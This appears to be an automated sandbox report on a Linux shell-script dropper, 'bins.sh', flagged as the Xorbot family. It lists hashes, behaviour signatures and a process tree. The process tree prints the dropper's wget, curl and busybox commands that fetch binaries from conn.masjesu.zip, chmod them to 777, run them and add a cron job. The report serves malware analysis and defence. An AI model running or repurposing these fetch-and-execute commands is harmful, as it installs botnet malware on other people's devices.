Analysis
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max time kernel
150s -
max time network
154s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240226-en -
resource tags
arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
08/12/2024, 20:55
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
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Target
bins.sh
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Size
10KB
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MD5
78db96ee0ac91e7ab493a7c7b6ba585a
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SHA1
21c663b006cd230912e46f16c3c935f0a2b61651
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SHA256
ec8ab5b1a13f18a2e312d9239f247c63e38f8705a7175cca7b169fb6ff255fe0
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SHA512
462395820799b883467094e326d2c4b189518d4b3f0554154d12a0b5497e9695c714d26ac0a250ddc7ace9f8889ccf9e1622d52d84eac89038d781a6c921adef
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SSDEEP
192:So70mLEFrIvT0i6AI7Fa2IR8IBGm10r+vT0DAI7Fa2C8IBGmyoH:SA0moyvT0iMiRvT077u
Malware Config
Signatures
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resource yara_rule behavioral4/files/fstream-1.dat family_xorbot behavioral4/files/fstream-3.dat family_xorbot behavioral4/files/fstream-10.dat family_xorbot behavioral4/files/fstream-11.dat family_xorbot behavioral4/files/fstream-12.dat family_xorbot -
Xorbot family
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Contacts a large (1630) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 6 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 915 chmod 729 chmod 737 chmod 786 chmod 892 chmod 908 chmod -
Executes dropped EXE 6 IoCs
ioc pid Process /tmp/Ze0pT2wnKOO3Qz7pzfylyLivGdss50D8ut 730 Ze0pT2wnKOO3Qz7pzfylyLivGdss50D8ut /tmp/TqMZ8vQbTDkeCQwzVJiXyKvQGP3SKiL7Fz 738 TqMZ8vQbTDkeCQwzVJiXyKvQGP3SKiL7Fz /tmp/M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 787 M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 /tmp/Z9oix8akj0tYfAvRAZtznoQTJD3SKRVPVn 893 Z9oix8akj0tYfAvRAZtznoQTJD3SKRVPVn /tmp/otKaWTOFaVom6oVEVNZq35dQF0JjcVPZ8G 909 otKaWTOFaVom6oVEVNZq35dQF0JjcVPZ8G /tmp/qiebMQ8uUGD04wyZZkRaqFUD1jstQdqHo5 916 qiebMQ8uUGD04wyZZkRaqFUD1jstQdqHo5 -
Renames itself 1 IoCs
pid Process 788 M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.vUkImb crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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description ioc Process File opened for reading /proc/819/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/852/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/859/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/834/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/846/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/867/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/891/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/931/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/1/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/72/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/828/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/987/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/885/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/972/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/21/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/23/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/377/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/8/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/927/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/811/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/887/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/13/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/696/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/801/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/804/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/977/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/981/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/976/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/20/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/376/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/842/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/923/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/82/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/823/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/830/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/971/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/991/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/116/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/816/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/964/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/844/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/960/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/506/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/814/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/993/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/78/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/911/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/963/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/817/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/875/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/893/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/966/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/984/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/5/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/331/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/4/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/880/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/933/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/951/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/6/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/241/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/849/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 File opened for reading /proc/10/cmdline M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 -
System Network Configuration Discovery 1 TTPs 19 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 804 curl 913 curl 914 busybox 733 wget 736 busybox 802 wget 885 busybox 906 busybox 727 busybox 720 curl 896 wget 912 wget 704 wget 741 wget 761 curl 779 busybox 905 curl 919 wget 734 curl -
Writes file to tmp directory 12 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/TqMZ8vQbTDkeCQwzVJiXyKvQGP3SKiL7Fz busybox File opened for modification /tmp/M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 wget File opened for modification /tmp/M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 curl File opened for modification /tmp/M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1 busybox File opened for modification /tmp/Z9oix8akj0tYfAvRAZtznoQTJD3SKRVPVn busybox File opened for modification /tmp/Ze0pT2wnKOO3Qz7pzfylyLivGdss50D8ut wget File opened for modification /tmp/TqMZ8vQbTDkeCQwzVJiXyKvQGP3SKiL7Fz wget File opened for modification /tmp/TqMZ8vQbTDkeCQwzVJiXyKvQGP3SKiL7Fz curl File opened for modification /tmp/otKaWTOFaVom6oVEVNZq35dQF0JjcVPZ8G busybox File opened for modification /tmp/qiebMQ8uUGD04wyZZkRaqFUD1jstQdqHo5 busybox File opened for modification /tmp/Ze0pT2wnKOO3Qz7pzfylyLivGdss50D8ut curl File opened for modification /tmp/Ze0pT2wnKOO3Qz7pzfylyLivGdss50D8ut busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:697
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/bin/rm/bin/rm bins.sh2⤵PID:700
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/Ze0pT2wnKOO3Qz7pzfylyLivGdss50D8ut2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:704
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/Ze0pT2wnKOO3Qz7pzfylyLivGdss50D8ut2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:720
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/Ze0pT2wnKOO3Qz7pzfylyLivGdss50D8ut2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:727
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/bin/chmodchmod 777 Ze0pT2wnKOO3Qz7pzfylyLivGdss50D8ut2⤵
- File and Directory Permissions Modification
PID:729
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/tmp/Ze0pT2wnKOO3Qz7pzfylyLivGdss50D8ut./Ze0pT2wnKOO3Qz7pzfylyLivGdss50D8ut2⤵
- Executes dropped EXE
PID:730
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/bin/rmrm Ze0pT2wnKOO3Qz7pzfylyLivGdss50D8ut2⤵PID:732
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/TqMZ8vQbTDkeCQwzVJiXyKvQGP3SKiL7Fz2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:733
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/TqMZ8vQbTDkeCQwzVJiXyKvQGP3SKiL7Fz2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:734
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/TqMZ8vQbTDkeCQwzVJiXyKvQGP3SKiL7Fz2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:736
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/bin/chmodchmod 777 TqMZ8vQbTDkeCQwzVJiXyKvQGP3SKiL7Fz2⤵
- File and Directory Permissions Modification
PID:737
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/tmp/TqMZ8vQbTDkeCQwzVJiXyKvQGP3SKiL7Fz./TqMZ8vQbTDkeCQwzVJiXyKvQGP3SKiL7Fz2⤵
- Executes dropped EXE
PID:738
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/bin/rmrm TqMZ8vQbTDkeCQwzVJiXyKvQGP3SKiL7Fz2⤵PID:740
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/M85lhpyOmHAp2J24p33mdqe8t2qpsS73p12⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:741
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/M85lhpyOmHAp2J24p33mdqe8t2qpsS73p12⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:761
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/M85lhpyOmHAp2J24p33mdqe8t2qpsS73p12⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:779
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/bin/chmodchmod 777 M85lhpyOmHAp2J24p33mdqe8t2qpsS73p12⤵
- File and Directory Permissions Modification
PID:786
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/tmp/M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1./M85lhpyOmHAp2J24p33mdqe8t2qpsS73p12⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:787 -
/bin/shsh -c "crontab -l"3⤵PID:789
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/usr/bin/crontabcrontab -l4⤵PID:790
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/bin/shsh -c "crontab -"3⤵PID:793
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:794
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/bin/rmrm M85lhpyOmHAp2J24p33mdqe8t2qpsS73p12⤵PID:798
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/Z9oix8akj0tYfAvRAZtznoQTJD3SKRVPVn2⤵
- System Network Configuration Discovery
PID:802
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/Z9oix8akj0tYfAvRAZtznoQTJD3SKRVPVn2⤵
- System Network Configuration Discovery
PID:804
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/Z9oix8akj0tYfAvRAZtznoQTJD3SKRVPVn2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:885
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/bin/chmodchmod 777 Z9oix8akj0tYfAvRAZtznoQTJD3SKRVPVn2⤵
- File and Directory Permissions Modification
PID:892
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/tmp/Z9oix8akj0tYfAvRAZtznoQTJD3SKRVPVn./Z9oix8akj0tYfAvRAZtznoQTJD3SKRVPVn2⤵
- Executes dropped EXE
PID:893
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/bin/rmrm Z9oix8akj0tYfAvRAZtznoQTJD3SKRVPVn2⤵PID:895
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/otKaWTOFaVom6oVEVNZq35dQF0JjcVPZ8G2⤵
- System Network Configuration Discovery
PID:896
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/otKaWTOFaVom6oVEVNZq35dQF0JjcVPZ8G2⤵
- System Network Configuration Discovery
PID:905
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/otKaWTOFaVom6oVEVNZq35dQF0JjcVPZ8G2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:906
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/bin/chmodchmod 777 otKaWTOFaVom6oVEVNZq35dQF0JjcVPZ8G2⤵
- File and Directory Permissions Modification
PID:908
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/tmp/otKaWTOFaVom6oVEVNZq35dQF0JjcVPZ8G./otKaWTOFaVom6oVEVNZq35dQF0JjcVPZ8G2⤵
- Executes dropped EXE
PID:909
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/bin/rmrm otKaWTOFaVom6oVEVNZq35dQF0JjcVPZ8G2⤵PID:911
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/qiebMQ8uUGD04wyZZkRaqFUD1jstQdqHo52⤵
- System Network Configuration Discovery
PID:912
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/qiebMQ8uUGD04wyZZkRaqFUD1jstQdqHo52⤵
- System Network Configuration Discovery
PID:913
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/qiebMQ8uUGD04wyZZkRaqFUD1jstQdqHo52⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:914
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/bin/chmodchmod 777 qiebMQ8uUGD04wyZZkRaqFUD1jstQdqHo52⤵
- File and Directory Permissions Modification
PID:915
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/tmp/qiebMQ8uUGD04wyZZkRaqFUD1jstQdqHo5./qiebMQ8uUGD04wyZZkRaqFUD1jstQdqHo52⤵
- Executes dropped EXE
PID:916
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/bin/rmrm qiebMQ8uUGD04wyZZkRaqFUD1jstQdqHo52⤵PID:918
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/TfKrrcnEpF8Na6xSBv9aky0fc08dhZjxOX2⤵
- System Network Configuration Discovery
PID:919
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
151KB
MD56c583043d91c55aa470c08c87058e917
SHA1abf65a5b9bba69980278ad09356e53de8bb89439
SHA2562d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
SHA51282ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
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Filesize
127KB
MD589077b7bd4bcafca7713be43635c4862
SHA1fc02edb8fba29ea8ee99e6157ef8560334530052
SHA25678416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
SHA5121b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
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Filesize
107KB
MD5eb9c3a0de91fcf16ba17cb24608df68c
SHA109d95a7d70d5e115d103be51edff7c498d272fac
SHA256dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
SHA5129e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
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Filesize
99KB
MD59438d9bc392bcf300a5583b6df5bc8f6
SHA1375a6ae34b516f6f3eeea8030c4084f585017efa
SHA25668e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
SHA5121f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
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Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
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Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
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Filesize
210B
MD5b3610d6e385a9441ec9a921a3c628566
SHA1ea4ae65c0d4243b473bd7cd71100cf67a3ff9943
SHA256e2a3e6750e1a2b54a3df32d0714ef80334913a0fe46496cf9331e49f35f57381
SHA5127fb492cbe08fdbb73bf99a2c566fb4aa332cd8deddea5ce622add2fd63cf515ba8afcbaf7099fe5bb30a0093f990831f1dea6a58f4126b47e7884254c1968c5b